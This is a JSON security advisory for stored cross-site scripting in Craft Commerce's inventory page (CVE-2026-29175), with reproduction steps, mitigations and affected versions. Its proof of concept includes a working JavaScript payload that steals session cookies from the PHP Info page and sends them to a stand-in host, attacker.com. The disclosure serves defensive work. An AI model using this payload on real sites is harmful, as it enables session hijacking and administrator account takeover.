{"id":"GHSA-cfpv-rmpf-f624","summary":"Craft Commerce has multiple Stored XSS in Commerce Inventory Page, Leading to Session Hijacking","details":"## Summary\n\nStored XSS vulnerabilities exist in the Commerce Inventory page. The **Product Title**, **Variant Title**, and **Variant SKU** fields are rendered without proper HTML escaping, allowing an attacker to execute arbitrary JavaScript when any user (including administrators) views the inventory management page.\n\nThis vulnerability enables **session hijacking** by fetching the PHP Info utility page, which displays unmasked session cookies. Unlike other XSS chains that require elevated sessions, this attack provides instant access to the victim’s session - no additional user interaction or elevated session approval required.\n\n## Proof of Concept\n\n### Permissions Required\n\n- Access the control panel\n- Access Craft Commerce\n- Create/Edit products\n\n### Steps to Reproduce\n1. Log in to the control panel\n2. Navigate to **Commerce → Products**\n3. Add a new product and set the **Title** field to: (replace `https://attacker.com`)\n    ```html\n    \u003cimg src=x onerror=\"fetch('/admin/utilities/php-info').then(r=\u003er.text()).then(t=\u003e{m=t.match(/\u003cth[^\u003e]*\u003eCookie[^\u003c]*\u003c\\/th\u003e\\s*\u003ctd[^\u003e]*\u003e([\\s\\S]*?)\u003c\\/td\u003e/);if(m)new Image().src='https://attacker.com/s?c='+btoa(m[1])})\"\u003e\n    ```\n4. Save the product\n5. Navigate to **Commerce → Inventory** (`/admin/commerce/inventory`)\n6. XSS executes, fetches PHP Info page, extracts session cookies, and exfiltrates them to the attacker server\n\n### Cookie Extraction Details\nThe PHP Info page (`/admin/utilities/php-info`) displays cookie values (unmasked) in multiple locations:\n- `HTTP_COOKIE`\n- `Cookie` (used in this PoC)\n- `$_SERVER['HTTP_COOKIE']`\n- `$_COOKIE['\u003ccookie-name\u003e']`\n\n### Notes\n- The same vulnerability exists in **Variant Title** and **Variant SKU** fields while creating a product. The PoC focuses on Product Title, but the same attack works for the other two fields.\n- `$_COOKIE['CRAFT_CSRF_TOKEN']` is masked in PHP Info, but the unmasked value is available in the other parameters listed above.\n- This vulnerability can also be chained to achieve full database exfiltration or do it after hijacking an administrator session.\n\n## Mitigation\n1. Sanitize product and variant fields when rendering in the inventory template\n2. Mask sensitive cookie values in the PHP Info utility page (similar to how `CRAFT_CSRF_TOKEN`, `CRAFT_SECURITY_KEY`, and `CRAFT_DB_PASSWORD` are already masked)","aliases":["CVE-2026-29175"],"modified":"2026-03-13T04:22:16.605003Z","published":"2026-03-10T18:23:42Z","database_specific":{"github_reviewed_at":"2026-03-10T18:23:42Z","nvd_published_at":"2026-03-10T20:16:38Z","cwe_ids":["CWE-79"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/craftcms/commerce/security/advisories/GHSA-cfpv-rmpf-f624"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29175"},{"type":"WEB","url":"https://github.com/craftcms/commerce/commit/9f0638a4fb29ed8295a463385a7cc49ec986e33a"},{"type":"PACKAGE","url":"https://github.com/craftcms/commerce"}],"affected":[{"package":{"name":"craftcms/commerce","ecosystem":"Packagist","purl":"pkg:composer/craftcms/commerce"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.0.0"},{"fixed":"5.5.3"}]}],"versions":["5.0.0","5.0.1","5.0.10","5.0.10.1","5.0.11","5.0.11.1","5.0.12","5.0.12.1","5.0.12.2","5.0.13","5.0.14","5.0.15","5.0.16","5.0.16.1","5.0.16.2","5.0.17","5.0.18","5.0.19","5.0.2","5.0.3","5.0.4","5.0.5","5.0.6","5.0.7","5.0.8","5.0.9","5.1.0","5.1.0-beta.1","5.1.0-beta.2","5.1.0-beta.3","5.1.0.1","5.1.1","5.1.2","5.1.3","5.1.4","5.2.0","5.2.1","5.2.10","5.2.11","5.2.12","5.2.12.1","5.2.2","5.2.2.1","5.2.3","5.2.4","5.2.5","5.2.6","5.2.7","5.2.8","5.2.9","5.2.9.1","5.3.0","5.3.0.1","5.3.0.2","5.3.1","5.3.10","5.3.11","5.3.12","5.3.13","5.3.2","5.3.2.1","5.3.2.2","5.3.3","5.3.4","5.3.5","5.3.6","5.3.7","5.3.8","5.3.9","5.4.0","5.4.1","5.4.1.1","5.4.10","5.4.2","5.4.3","5.4.4","5.4.5","5.4.5.1","5.4.6","5.4.7","5.4.7.1","5.4.8","5.4.9","5.5.0","5.5.0.1","5.5.1","5.5.2"],"database_specific":{"last_known_affected_version_range":"\u003c= 5.5.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-cfpv-rmpf-f624/GHSA-cfpv-rmpf-f624.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N"}]}